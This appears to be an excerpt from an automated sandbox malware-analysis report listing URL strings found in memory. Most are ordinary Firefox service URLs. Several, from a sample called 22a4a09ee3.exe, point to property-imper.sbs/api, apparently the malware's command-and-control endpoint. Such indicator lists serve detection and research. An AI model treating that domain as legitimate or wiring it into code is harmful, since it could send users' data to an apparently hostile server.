Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.combrowser.tabs.drawInTitlebarhttps://support.mozilla.orgcreateContentPrinci
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%ssetSlowScriptDebugHandler/debugService.remote
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededresource://gre/modules/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredAction
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: 22a4a09ee3.exe, 00000009.00000003.2787610271.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2725786530.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2666960609.0000000001132000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2720930787.00000000058CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: 22a4a09ee3.exe, 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2666933055.000000000111A000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2695267530.000000000111E000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2739667389.0000000001132000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2870953209.0000000001133000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2895207974.0000000001607000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2753258995.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766501886.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 22a4a09ee3.exe, 00000009.00000003.2870953209.0000000001133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiD
Source: 22a4a09ee3.exe, 0000000B.00000003.2920151501.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2920073610.00000000015F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiX
Source: 22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apio0
Source: 22a4a09ee3.exe, 00000009.00000003.2739667389.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiw
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Wikip
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/google-safeframe.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/jar:file:///C:/Program%20Files/Mozilla%20Firefox/browser/features/webcom
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001A.00000002.3007478563.000001F5E3513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA90B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsresource://gre/modules/PrivateBrowsingUtils.sys.mjs
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel#onFormHistoryAutoCompleteSearchAsync/formHistor
Source: 22a4a09ee3.exe, 00000009.00000003.2615858798.0000000005922000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767599531.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2974318304.000001F5DBF9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2999734335.000001F5E21E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
